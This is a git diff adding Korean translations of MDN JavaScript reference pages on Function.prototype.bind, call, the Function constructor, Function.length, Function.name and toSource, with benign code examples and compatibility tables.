+ <li>부분 구현은 {{jsxref("Function.length", "length")}} 속성이 ECMA-262에 의해 부여된(mandated) 그것과 일치하지 않는 바인딩된 함수를 만듭니다: 길이 0인 함수를 만듭니다, 반면에 전체 구현은 대상 함수의 길이 및 미리 지정된 인수의 수에 따라 0이 아닌 길이를 반환할 수 있습니다.</li>
+</ul>
+
+<p>이 부분 구현을 쓰기로 고른 경우, <strong>동작이 ECMA-262 제5판을 벗어난 경우에 의존하지 않아야 합니다!</strong> 그러나 주의 약간(과 아마도 특정 요구에 맞추기 위한 추가 수정)으로, 이 부분 구현은 <code>bind()</code>가 스펙에 따라 널리 구현될 때까지 적당한 다리가 될 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Function.bind")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "함수", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/call/index.html b/files/ko/web/javascript/reference/global_objects/function/call/index.html
new file mode 100644
index 0000000000..a92a7ab931
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/call/index.html
@@ -0,0 +1,197 @@
+---
+title: Function.prototype.call()
+slug: Web/JavaScript/Reference/Global_Objects/Function/call
+tags:
+  - Function
+  - JavaScript
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>call()</strong></code> 메소드는 주어진 <code>this</code> 값 및 각각 전달된 인수와 함께 함수를 호출합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의:</strong> 이 함수 구문은 {{jsxref("Function.prototype.apply", "apply()")}}와 거의 동일하지만, <code>call()</code>은 <strong>인수 목록</strong>을, 반면에 <code>apply()</code>는 <strong>인수 배열 하나</strong>를 받는다는 점이 중요한 차이점입니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/function-call.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>func</var>.call(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd><em><code>func</code></em> 호출에 제공되는 <code>this</code>의 값.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<dl>
+ <dd></dd>
+ <dd>
+ <p><code>this</code>는 메소드에 의해 보이는 실제값이 아닐 수 있음을 주의하세요: 메소드가 {{jsxref("Functions_and_function_scope/Strict_mode", "비엄격 모드", "", 1)}} 코드 내 함수인 경우, {{jsxref("Global_Objects/null", "null")}} 및 {{jsxref("Global_Objects/undefined", "undefined")}}는 전역 객체로 대체되고 원시값은 객체로 변환됩니다.</p>
+ </dd>
+</dl>
+</div>
+
+<p><code>arg1, arg2, ...</code></p>
+
+<dl>
+ <dd>객체를 위한 인수.</dd>
+</dl>
+
+<h3 id="반환값Return_Value">반환값(Return Value)</h3>
+
+<p><code>this</code> 와 arguments 를 매개로 호출된 함수의 반환값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>call()</code>은 이미 할당되어있는 다른 객체의 함수/메소드를 호출하는 해당 객체에 재할당할때 사용됩니다. <code>this</code>는 현재 객체(호출하는 객체)를 참조합니다. 메소드를 한번 작성하면 새 객체를 위한 메소드를 재작성할 필요 없이 <code>call()</code>을 이용해 다른 객체에 상속할 수 있습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="객체의_생성자_연결에_call_사용">객체의 생성자 연결에 <code>call</code> 사용</h3>
+
+<p>Java와 비슷하게, 객체의 생성자 연결(chain)에 <code>call</code>을 사용할 수 있습니다. 다음 예에서, <code>Product</code> 객체의 생성자는 <code>name</code> 및 <code>price</code> 를 매개변수로 정의됩니다. 다른 두 함수 <code>Food</code> 및 <code>Toy</code>는 <code>this</code> 및 <code>name</code>과 <code>price</code>를 전달하는 <code>Product</code>를 호출합니다. <code>Product</code>는 <code>name</code> 및 <code>price</code> 속성을 초기화하고, 특수한 두 함수(Food 및 Toy)는 <code>category</code>를 정의합니다.</p>
+
+<pre class="brush: js">function Product(name, price) {
+  this.name = name;
+  this.price = price;
+
+  if (price &lt; 0) {
+    throw RangeError('Cannot create product ' +
+                      this.name + ' with a negative price');
+  }
+}
+
+function Food(name, price) {
+  Product.call(this, name, price);
+  this.category = 'food';
+}
+
+function Toy(name, price) {
+  Product.call(this, name, price);
+  this.category = 'toy';
+}
+
+var cheese = new Food('feta', 5);
+var fun = new Toy('robot', 40);
+</pre>
+
+<h3 id="익명_함수_호출에_call_사용">익명 함수 호출에 <code>call</code> 사용</h3>
+
+<p>이 예제에서는 익명 함수를 만들고 배열 내 모든 객체에서 이를 호출하기 위해 <code>call</code>을 사용합니다. 여기서 익명 함수의 주목적은 배열 내 객체의 정확한 인덱스를 출력할 수 있는 모든 객체에 print 함수를 추가하는 것 입니다.</p>
+
+<div class="blockIndicator note">
+<p><code>this</code> 값으로 객체 전달이 반드시 필요하지는 않지만, 해당 예제에서는 설명의 목적으로 사용했습니다. </p>
+</div>
+
+<pre class="brush: js">var animals = [
+  { species: 'Lion', name: 'King' },
+  { species: 'Whale', name: 'Fail' }
+];
+
+for (var i = 0; i &lt; animals.length; i++) {
+  (function(i) {
+    this.print = function() {
+      console.log('#' + i + ' ' + this.species
+                  + ': ' + this.name);
+    }
+    this.print();
+  }).call(animals[i], i);
+}
+</pre>
+
+<h3 id="함수_호출_및_this를_위한_문맥_지정에_call_사용">함수 호출 및 '<code>this</code>'를 위한 문맥 지정에 <code>call</code> 사용</h3>
+
+<p>아래 예제에서, <code>greet</code>을 호출하면 <code>this</code> 값은 객체 <code>obj</code>에 바인딩됩니다.</p>
+
+<pre class="brush: js">function greet() {
+  var reply = [this.animal, 'typically sleep between', this.sleepDuration].join(' ');
+  console.log(reply);
+}
+
+var obj = {
+  animal: 'cats', sleepDuration: '12 and 16 hours'
+};
+
+greet.call(obj);  // cats typically sleep between 12 and 16 hours
+</pre>
+
+<h3 id="첫번째_인수_지정_없이_함수_호출에_call_사용">첫번째 인수 지정 없이 함수 호출에 <code>call</code> 사용</h3>
+
+<p>아래 예제에서, <code>display</code> 함수에 첫번째 인수를 전달하지 않고 호출합니다. 첫번째 인수를 전달하지 않으면, <code>this</code>의 값은 전역 객체에 바인딩됩니다.</p>
+
+<pre class="brush: js">var sData = 'Wisen';
+function display(){
+  console.log('sData value is %s ', this.sData);
+}
+
+display.call();  // sData value is Wisen
+</pre>
+
+<div class="blockIndicator note">
+<p><strong> 주의:</strong> 엄격 모드(strict mode)에서, <code>this</code> 는 <code>undefined</code>값을 가집니다. See below.</p>
+</div>
+
+<pre>'use strict';
+
+var sData = 'Wisen';
+
+function display() {
+  console.log('sData value is %s ', this.sData);
+}
+
+display.call(); // Cannot read the property of 'sData' of undefined
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.3에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Function.call")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>
+  <h2 id="jsxrefFunction.prototype.bind">{{jsxref("Function.prototype.bind()")}}</h2>
+ </li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>
+  <p><a href="/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">객체 지향 JavaScript 소개</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/index.html b/files/ko/web/javascript/reference/global_objects/function/index.html
new file mode 100644
index 0000000000..5d7dde941a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/index.html
@@ -0,0 +1,167 @@
+---
+title: Function
+slug: Web/JavaScript/Reference/Global_Objects/Function
+tags:
+  - Constructor
+  - Function
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Function</code> 생성자</strong>는 새 <code>Function</code> 객체를 만듭니다.</span> 이 생성자를 직접 호출하여 동적으로 함수를 생성할 수도 있으나, 보안 문제 및 {{jsxref("eval")}}과 유사한(그러나 훨씬 덜 심각한) 성능 문제가 발생할 수 있습니다. 하지만 <code>eval</code>과 달리, <code>Function</code> 생성자는 전역 범위로 한정된 함수만 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</div>
+
+
+
+<p>모든 JavaScript 함수는 사실 <code>Function</code> 객체입니다. 이는 <code>(function(){}).constructor === Function</code>이 참을 반환하는 것에서 알 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>형식 인수 이름으로 사용할 이름. 각 이름은 유효한 JavaScript {{glossary("identifier", "식별자")}}거나, 쉼표로 구분한 유효한 식별자 목록이어야 합니다. 즉, "<code>x</code>", "<code>theValue</code>", "<code>x,theValue</code>"등의 값을 사용할 수 있습니다.</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 JavaScript 문을 담은 문자열.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Function</code> 생성자로 생성한 <code>Function</code> 객체는 함수를 생성할 때 구문 분석을 수행합니다. 반면, {{jsxref("Operators/function", "함수 표현식", "", 1)}}이나 {{jsxref("Statements/function", "함수 선언문", "", 1)}}으로 함수를 정의하고 코드 내에서 호출한 경우 나머지 코드와 함께 구문 분석되므로, <code>Function</code> 생성자가 더 비효율적입니다.</p>
+
+<p>함수로 전달되는 모든 인수는 생성될 함수의 매개 변수 식별자 이름으로 전달되는 순서대로 처리됩니다.</p>
+
+<p>(<code>new</code> 연산자를 사용하지 않고) 함수로써 <code>Function</code> 생성자를 호출하는 것은 생성자로 호출하는 것과 같습니다. 하지만, new 연산자가 제거됨으로써 코드의 크기를 약간(4 바이트 더 작게) 줄일 수 있으므로 <code>Function</code>에 대해서는 <code>new</code> 연산자를 사용하지 않는 것이 좋습니다.</p>
+
+<h2 id="Function의_속성과_메서드"><code>Function</code>의 속성과 메서드</h2>
+
+<p>전역 <code>Function</code> 객체는 자신만의 메서드 또는 속성이 없습니다. 그러나, 그 자체로 함수이기에 {{jsxref("Function.prototype")}}에서 프로토타입 체인을 통해 일부 메서드 및 속성을 상속받습니다.</p>
+
+<h2 id="Function_프로토타입_객체"><code>Function</code> 프로토타입 객체</h2>
+
+<h3 id="속성">속성</h3>
+
+<div>
+<dl>
+ <dt>{{jsxref("Function.arguments")}} {{deprecated_inline}}</dt>
+ <dd>함수에 전달되는 인수(argument)에 해당하는 배열. 이는 {{jsxref("Function")}}의 속성으로 사라지므로(deprecated), 대신 함수 내에서 이용 가능한 {{jsxref("Functions/arguments", "arguments")}} 객체를 사용하세요.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Function.arity")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">함수에 의해 기대되는 인수의 수를 지정하기 위해 사용됐으나 제거되었습니다. 대신 {{jsxref("Function.length", "length")}} 속성을 사용하세요.</s></dd>
+ <dt>{{jsxref("Function.caller")}} {{non-standard_inline}}</dt>
+ <dd>현재 실행 중인 함수를 호출한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>함수에 의해 기대되는 인수의 수를 지정합니다.</dd>
+ <dt>{{jsxref("Function.name")}}</dt>
+ <dd>함수명.</dd>
+ <dt>{{jsxref("Function.displayName")}} {{non-standard_inline}}</dt>
+ <dd>함수의 표시명.</dd>
+ <dt><code>Function.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 만드는 함수를 지정합니다. 자세한 사항은 {{jsxref("Object.prototype.constructor")}} 참조.</dd>
+</dl>
+</div>
+
+<h3 id="메서드">메서드</h3>
+
+<div>
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()")}}</dt>
+ <dd>함수를 호출하고 <em>this</em>를 제공된 값으로 설정합니다, 인수는 {{jsxref("Array")}} 객체로 전달될 수 있습니다.</dd>
+ <dt>{{jsxref("Function.prototype.bind()")}}</dt>
+ <dd>호출될 때 <em>this</em>를 제공된 값으로 설정하는 새로운 함수를 만듭니다, 새로운 함수가 호출됐을 때 주어진 순서로 모두 제공되는 선행 인수와 함께.</dd>
+ <dt>{{jsxref("Function.prototype.call()")}}</dt>
+ <dd>함수를 호출(실행)하고 <em>this</em>를 제공된 값으로 설정합니다, 인수는 그대로 전달될 수 있습니다.</dd>
+ <dt>{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}</dt>
+ <dd>함수가 <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators" title="generator">생성기</a>인 경우 <code>true</code>를 반환합니다; 그렇지 않으면 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>함수의 소스 코드를 나타내는 문자열을 반환합니다. {{jsxref("Object.prototype.toSource")}} 메서드를 재정의(override)합니다.</dd>
+ <dt>{{jsxref("Function.prototype.toString()")}}</dt>
+ <dd>함수의 소스 코드를 나타내는 문자열을 반환합니다. {{jsxref("Object.prototype.toString")}} 메서드를 재정의합니다.</dd>
+</dl>
+</div>
+
+<h2 id="Function_인스턴스"><code>Function</code> 인스턴스</h2>
+
+<p><code>Function</code> 인스턴스는 {{jsxref("Function.prototype")}}에서 메서드 및 속성을 상속받습니다. 모든 생성자와 마찬가지로, 생성자의 프로토타입 객체를 바꿈으로써 모든 <code>Function</code> 인스턴스에 변화를 줄 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Function_생성자에_인수_지정하기"><code>Function</code> 생성자에 인수 지정하기</h3>
+
+<p>다음 코드는 인수 두 개를 갖는 <code>Function</code> 객체를 생성합니다.</p>
+
+<pre class="brush: js">// 예제는 JavaScript 콘솔에서 직접 실행하실 수 있습니다
+
+// 두 개의 인수를 가지고 그 둘의 합을 반환하는 함수 생성
+var adder = new Function('a', 'b', 'return a + b');
+
+// 함수 호출
+adder(2, 6);
+// &gt; 8
+</pre>
+
+<p>인수 "<code>a</code>" 및 "<code>b</code>"는 함수 몸통(body)의 "<code>return a + b</code>"에 사용되는 형식 인수명입니다.</p>
+
+<h3 id="Function_생성자와_함수_선언의_차이">Function 생성자와 함수 선언의 차이</h3>
+
+<p><code>Function</code> 생성자로 만들어지는 함수는 생성 컨텍스트에 대한 클로저(closure)를 생성하지 않습니다; 이들 함수는 항상 전역 범위에서 생성됩니다. 함수가 실행될 때, 자신의 지역 변수와 전역 변수에만 접근할 수 있으며 <code>Function</code> 생성자가 호출된 그 범위의 변수에는 접근할 수 없습니다. 이 점이 함수 표현식 코드에서 {{jsxref("eval")}}을 사용하는 것과 다른 점입니다.</p>
+
+<pre class="brush: js">var x = 10;
+
+function createFunction1() {
+    var x = 20;
+    return new Function('return x;'); // 여기서 |x|는 전역 범위에 있는 |x|를 참조함.
+}
+
+function createFunction2() {
+    var x = 20;
+    function f() {
+        return x; // 여기서 |x|는 위의 지역에 있는 |x|를 참조함.
+    }
+    return f;
+}
+
+var f1 = createFunction1();
+console.log(f1());          // 10
+var f2 = createFunction2();
+console.log(f2());          // 20
+</pre>
+
+<p>위 코드는 브라우저에서는 정상 동작하지만, {{glossary("Node.js")}}에서는 <code>x</code>를 찾을 수 없어, <code>f1()</code>이 <code>ReferenceError</code>를 생성합니다. 이는 Node.js의 최상위 스크립트 범위가 전역이 아닌 모듈이므로, <code>x</code>도 모듈 범위에 종속되기 때문입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions and function scope")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/length/index.html b/files/ko/web/javascript/reference/global_objects/function/length/index.html
new file mode 100644
index 0000000000..f9e6b30adf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/length/index.html
@@ -0,0 +1,80 @@
+---
+title: Function.length
+slug: Web/JavaScript/Reference/Global_Objects/Function/length
+tags:
+  - Function
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>length</strong></code> 속성은 함수가 기대하는 인수의 수를 나타냅니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/function-length.html")}}</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code>는 함수 객체의 속성으로, 함수가 얼마나 많은 인수를 기대하는지 나타냅니다, 즉 형식 매개변수의 수. 이 수는 {{jsxref("rest_parameters", "나머지 매개변수", "", 1)}}를 포함하지 않습니다. 그에 반해, {{jsxref("Functions/arguments/length", "arguments.length")}}는 함수에 지역(local)이고 실제로 함수에 전달된 인수의 수를 제공합니다.</p>
+
+<h3 id="Function_생성자의_데이터_속성"><code>Function</code> 생성자의 데이터 속성</h3>
+
+<p>{{jsxref("Function")}} 생성자는 그 자체로 {{jsxref("Function")}} 객체입니다. 그 <code>length</code> 데이터 속성은 값이 1입니다. 속성의 attribute: 쓰기가능(Writable): <code>false</code>, 열거가능(Enumerable): <code>false</code>, 설정가능(Configurable): <code>true</code>.</p>
+
+<h3 id="Function_프로토타입_객체의_속성"><code>Function</code> 프로토타입 객체의 속성</h3>
+
+<p>{{jsxref("Function")}} 프로토타입 객체의 length 속성은 값이 0입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 등. */
+console.log((function(...args) {}).length); /* 0, 나머지 매개변수는 계산되지 않음 */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>이 속성의 설정가능(<code>configurable</code>) attribute은 이제 <code>true</code>임.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Function.length")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/name/index.html b/files/ko/web/javascript/reference/global_objects/function/name/index.html
new file mode 100644
index 0000000000..ce2d665b73
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/name/index.html
@@ -0,0 +1,191 @@
+---
+title: Function.name
+slug: Web/JavaScript/Reference/Global_Objects/Function/name
+tags:
+  - ECMAScript6
+  - Function
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/name
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong><em>function</em>.name</strong></code> 속성(property)은 함수 이름을 반환합니다.</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<p>비표준, ES6 이전 구현에서는 설정가능(<code>configurable</code>) attribute도 <code>false</code>였음을 주의하세요.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>name</code> 속성은 함수 이름 또는 (ES6 구현 이전) 익명(anonymous) 함수에 대해서는 빈 문자열을 반환합니다:</p>
+
+<pre class="brush: js">function doSomething() {}
+
+console.log(doSomething.name); // logs "doSomething"
+</pre>
+
+<p><code>new Function(...)</code> 또는 그냥 <code>Function(...)</code> 구문으로 생성된 함수는 <code>name</code> 속성을 빈 문자열로 설정합니다. 다음 예에서는 익명 함수가 생성되므로 <code>name</code>은 빈 문자열을 반환합니다:</p>
+
+<pre class="brush: js">var f = function() {};
+var object = {
+  someMethod: function() {}
+};
+
+console.log(f.name == ''); // true
+console.log(object.someMethod.name == ''); // 역시 true
+</pre>
+
+<p>ES6 함수를 구현한 브라우저는 익명 함수 이름을 그 구문상 위치로부터 추측할 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: js">var f = function() {};
+console.log(f.name); // "f"</pre>
+
+<p>{{jsxref("Operators/Function", "function 식", "", 1)}}에서 이름으로 함수를 정의할 수 있습니다:</p>
+
+<pre class="brush: js">var object = {
+  someMethod: function object_someMethod() {}
+};
+console.log(object.someMethod.name); // logs "object_someMethod"
+
+try { object_someMethod } catch(e) { console.log(e); }
+// ReferenceError: object_someMethod가 정의되지 않음
+</pre>
+
+<p>함수 이름은 바꿀 수 없습니다, 이 속성은 읽기 전용입니다:</p>
+
+<pre class="brush: js">var object = {
+  // 익명
+  someMethod: function() {}
+};
+
+object.someMethod.name = 'someMethod';
+console.log(object.someMethod.name); // 빈 문자열, someMethod는 익명
+</pre>
+
+<p>그러나 바꾸려면, {{jsxref("Object.defineProperty()")}}를 사용할 수 있습니다.</p>
+
+<h2 id="예">예</h2>
+
+<p>객체의 'class'를 확인하기 위해 <code>obj.constructor.name</code>을 사용할 수 있습니다:</p>
+
+<pre class="brush: js">function a() {}
+
+var b = new a();
+
+console.log(b.constructor.name); // logs "a"
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-name', 'name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-name', 'name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(33.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Inferred names on anonymous functions</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Inferred names on anonymous functions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{bug(883377)}} 참조.</p>
diff --git a/files/ko/web/javascript/reference/global_objects/function/tosource/index.html b/files/ko/web/javascript/reference/global_objects/function/tosource/index.html
new file mode 100644
index 0000000000..dcfbdf49e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/tosource/index.html
@@ -0,0 +1,71 @@
+---
+title: Function.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Function/toSource
+tags:
+  - JavaScript
+  - 메소드
+  - 함수
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><code><strong>toSource()</strong></code> 메소드는 객체의 소스 코드를 나타내는 스트링을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>function</var>.toSource();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 소스 코드를 나타내는 스트링.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toSource</code> 메소드는 다음 값들을 반환합니다.</p>
+
+<ul>
+ <li>내장 {{jsxref("Function")}} 객체에 대한 <code>toSource()</code> 는 소스 코드 사용이 불가함을 나타내는 다음 스트링을 반환합니다.
+
+  <pre class="brush: js">function Function() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>커스텀 함수에 대한 <code>toSource()</code> 는 객체를 정의하는 JavaScript 코드를 스트링으로 반환합니다.</li>
+ <li>
+  <pre class="brush: js">// 예시:
+function hello() {
+    console.log("Hello, World!");
+}
+
+hello.toSource();
+</pre>
+ </li>
+ <li>
+  <pre class="brush: js">// 결과:
